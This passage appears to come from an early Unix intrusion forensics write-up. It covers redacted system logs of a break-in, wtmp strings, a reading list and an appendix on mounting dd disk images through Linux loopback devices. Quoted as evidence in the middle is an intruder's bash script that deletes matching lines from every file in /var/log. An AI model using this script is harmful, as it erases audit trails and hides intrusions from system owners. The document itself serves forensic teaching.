XXX 12 11:08:57 XXXX su: XXXXX on /dev/ttyp1
XXX 12 11:11:19 XXXX su: XXXXX on /dev/ttyp1
. . .
XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX
XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX
XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX
. . .
XXX 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1
XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX
XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX
XXX 12 11:41:59 XXXX ftpd[1327]: PASS password
XXX 12 11:42:00 XXXX ftpd[1327]: SYST
XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp
XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image
XXX 12 11:42:06 XXXX ftpd[1327]: PORT
XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd
XXX 12 11:42:08 XXXX ftpd[1327]: QUIT
XXX 12 11:42:08 XXXX ftpd[1327]: FTP session closed
XXX 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX
XXX 12 12:00:25 XXXX telnetd[1342]: ttloop: peer died: Try again
. . .
XXX 12 12:54:37 XXXX in.rlogind[1358]: connect from CCCCCCCC.XXXXXXXX.XXX
. . .
XXX 12 19:53:30 XXXX in.telnetd[1459]: connect from XXXX-XX-118.XXXXXXXXX.XXX
. . .
XXX 12 23:47:32 XXXX in.telnetd[1525]: connect from XXXXXX.XXXX.XXXXXXXXXX.XXX
XXX 12 23:47:41 XXXX login: 1 LOGIN FAILURE FROM XXXXXX.XXXX.XXXXXXXXXX.XXX, XXXXX
XXX 12 23:48:55 XXXX su: XXXXX on /dev/console
XXX 13 00:12:38 XXXX in.telnetd[1569]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX
XXX 13 00:12:54 XXXX su: XXXXX on /dev/console
. . .
XXX 13 06:46:12 XXXX in.telnetd[1673]: connect from XXX.XX.XXX.XX
XXX 13 07:08:01 XXXX in.telnetd[1679]: connect from GGGGGGG.XXXXXXXXXXXXXX.XXX
XXX 13 07:08:14 XXXX su: XXXXX on /dev/console
. . .
XXX 13 08:30:05 XXXX in.telnetd[1728]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX
XXX 13 08:30:22 XXXX in.telnetd[1731]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX
XXX 13 08:32:34 XXXX in.telnetd[1733]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX
. . .
XXX 13 09:58:42 XXXX su: XXXXX on /dev/console
-----------------------------------------------------------------------------
The following is another script used to clean out log files. It is not known
if this same file exists still in the active file system.
-----------------------------------------------------------------------------
#!/bin/bash
. . .
WHAT=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -v ".gz" | grep -v ".tar" | grep -v "@")
for file in $WHAT
line=$(wc -l /var/log/$file | awk -F ' ' '{print $1}')
echo -n "Cleaning $file ($line lines)..."
grep -v $1 /var/log/$file > new
mv -f new /var/log/$file
newline=$(wc -l /var/log/$file | awk -F ' ' '{print $1}')
let linedel=$(($line-$newline))
echo "$linedel lines removed!"
done
echo " "
-----------------------------------------------------------------------------
The following are strings out of a portion of a wtmp file ("last"
information). Times are not obvious, but host names are.
-----------------------------------------------------------------------------
ftp4264
ttyp1
3XXXXX
XXXXXXXXXXXX
ttyp1
Pftp4626
3XXXXX
XXXXXXXXXXXX
ttyp1
3XXXXX
XXXXXXXXXXXX
ftp4626
ttyp1
Pftp4639
3XXXXXXXX
XXX.XX.XXX.XX
Pftp4639
Pftp4653
3XXXXXX
XXXXXXXXXXXX
ftp4653
Pftp4743
3XXXXX
XXXXXXXXXXXXXXXX
-----------------------------------------------------------------------------
References and other reading on forensics
- Techniques of Crime Scene Investigation, by Barry A. J. Fisher, CRC
Press, ISBN 0-8493-8119-3
- Performance Tuning
Backup Systems, Hewlett-Packard whitepaper
- The Coroner's
Toolkit
- Dan Farmer &
Wietse Venema's class on computer forensic analysis
[ forensics.tar.gz
contains the slides in 6-up portrait PostScript format for printing on just 25
double-sided pages]
- Forensic
Computer Analysis: An Introduction -- Reconstructing past events, By Dan
Farmer and Wietse Venema, Dr. Dobb's Journal, September 2000
- What
Are MACtimes?: Powerful tools for digital databases, By Dan Farmer,
Dr. Dobb's Journal, October 2000
- Strangers In
the Night: Finding the purpose of an unknown program, by Wietse
Venema, Dr. Dobb's Journal, November 2000
- "Root
Kits" and hiding files/directories/processes after a break-in
- CD Universe evidence
compromised -- Failure to protect computer data renders it suspect in
court, by Mike Brunker and Bob Sullivan, MSNBC, June 7, 2000
- Info.sec.radio segment on
forensics (@15:45.0), July 10, 2000
- SecurityFocus interview
with Jennifer Grannick
- SecurityFocus interview
with Chad Davis
- Anonymizing
Unix Systems, by van Hauser, THC
- Federal
Guidelines for Searching and Seizing Computers, US Department of Justice
- DD and Computer Forensics:
Examples of Using DD within UNIX to Create Physical Backups, by Thomas
Rude, CISSP, August 2000
Thanks go to Dan Farmer for his feedback, and
to he and Wietse Venema for their contribution to the science and technology of
forensic analysis of Unix systems.
Appendix A: Loopback file systems under Linux
The Linux kernel can
support a large number of filesystem types (shown here from "man mount"):
The file system types which are currently supported are listed
in linux/fs/filesystems.c: adfs, affs, autofs, coda, coherent,
devpts, efs, ext, ext2, hfs, hpfs, iso9660, minix, msdos,
ncpfs, nfs, ntfs, proc, qnx4, romfs, smbfs, sysv, udf, ufs,
umsdos, vfat, xenix, xiafs. Note that coherent, sysv and
xenix are equivalent and that xenix and coherent will be
removed at some point in the future -- use sysv instead.
This makes it handy to use as an analysis platform, because
you can use a single set of utilities to access file contents and i-node
information from a large number of victim system types.
Linux also supports a feature known as "loopback" devices, which allow you to
use a filesystem within a file. This method is used for bootdisks, burning
CD-ROMS, and for encrypted filesystems on laptops, etc. For more information,
see the following:
- man losetup
- man mount
- Laptop-HOWTO
- Bootdisk-HOWTO
- Loopback-Encrypted-Filesystem-HOWTO
The loop devices (8 by
default) are used indirectly by the "mount" command. They are located in the
/dev directory with other devices:
# ls -l /dev/loop*
brw-rw---- 1 root disk 7, 0 May 5 1998 /dev/loop0
brw-rw---- 1 root disk 7, 1 May 5 1998 /dev/loop1
brw-rw---- 1 root disk 7, 2 May 5 1998 /dev/loop2
brw-rw---- 1 root disk 7, 3 May 5 1998 /dev/loop3
brw-rw---- 1 root disk 7, 4 May 5 1998 /dev/loop4
brw-rw---- 1 root disk 7, 5 May 5 1998 /dev/loop5
brw-rw---- 1 root disk 7, 6 May 5 1998 /dev/loop6
brw-rw---- 1 root disk 7, 7 May 5 1998 /dev/loop7
Combining these two features is way simpler than you might guess.
You simply copy bitmap images of each partition, copied with dd from
a victim system, to your analysis system, then mount them using loopback
devices.
For our example, the partitions were obtained from the primary internal drive
on a Sun SPARC system running Solaris 2.5:
# ls -l c0t3d0*
-rw-r--r-- 1 root root 189399040 Sep 14 12:44 c0t3d0s0.dd
-rw-r--r-- 1 root root 171991040 Sep 14 13:15 c0t3d0s1.dd
-rw-r--r-- 1 root root 220733440 Sep 14 12:57 c0t3d0s3.dd
-rw-r--r-- 1 root root 269475840 Sep 14 12:51 c0t3d0s6.dd
-rw-r--r-- 1 root root 515973120 Sep 14 13:48 c0t3d0s7.dd
You mount the image (in read-only mode) by specifying it is a UFS
filesystem, of type "sun", and that you want to use a loop device, like this:
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s0.dd /t
From here, we can now determine where the other partitions go by
searching for this device name in the vicitm system's /etc/vfstab file
(mounted in this example on /t):
# grep c0t3d0 /t/etc/vfstab
/dev/dsk/c0t3d0s1 - - swap - no -
/dev/dsk/c0t3d0s0 /dev/rdsk/c0t3d0s0 / ufs 1 no -
/dev/dsk/c0t3d0s6 /dev/rdsk/c0t3d0s6 /usr ufs 1 no -
/dev/dsk/c0t3d0s3 /dev/rdsk/c0t3d0s3 /var ufs 1 no -
/dev/dsk/c0t3d0s7 /dev/rdsk/c0t3d0s7 /export/home ufs 2 yes -
You now mount the other partions in the same way:
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s3.dd /t/var
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s6.dd /t/usr
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s7.dd /t/export/home
The contents are now visible to standard utilities, such as The
Coroner's Toolkit program "grave-robber".
# df
Filesystem 1k-blocks Used Available Use% Mounted on
. . .
/x/c0t3d0s0.dd 173791 68725 87696 44% /t
/x/c0t3d0s3.dd 202423 26148 156035 14% /t/usr
/x/c0t3d0s6.dd 246743 197592 24481 89% /t/var
/x/c0t3d0s7.dd 473031 111506 314225 26% /t/export/home
# mount
. . .
/x/c0t3d0s0.dd on /t type ufs (ro,loop=/dev/loop0,ufstype=sun)
/x/c0t3d0s3.dd on /t/usr type ufs (ro,loop=/dev/loop1,ufstype=sun)
/x/c0t3d0s6.dd on /t/var type ufs (ro,loop=/dev/loop2,ufstype=sun)
/x/c0t3d0s7.dd on /t/export/home type ufs (ro,loop=/dev/loop3,ufstype=sun)
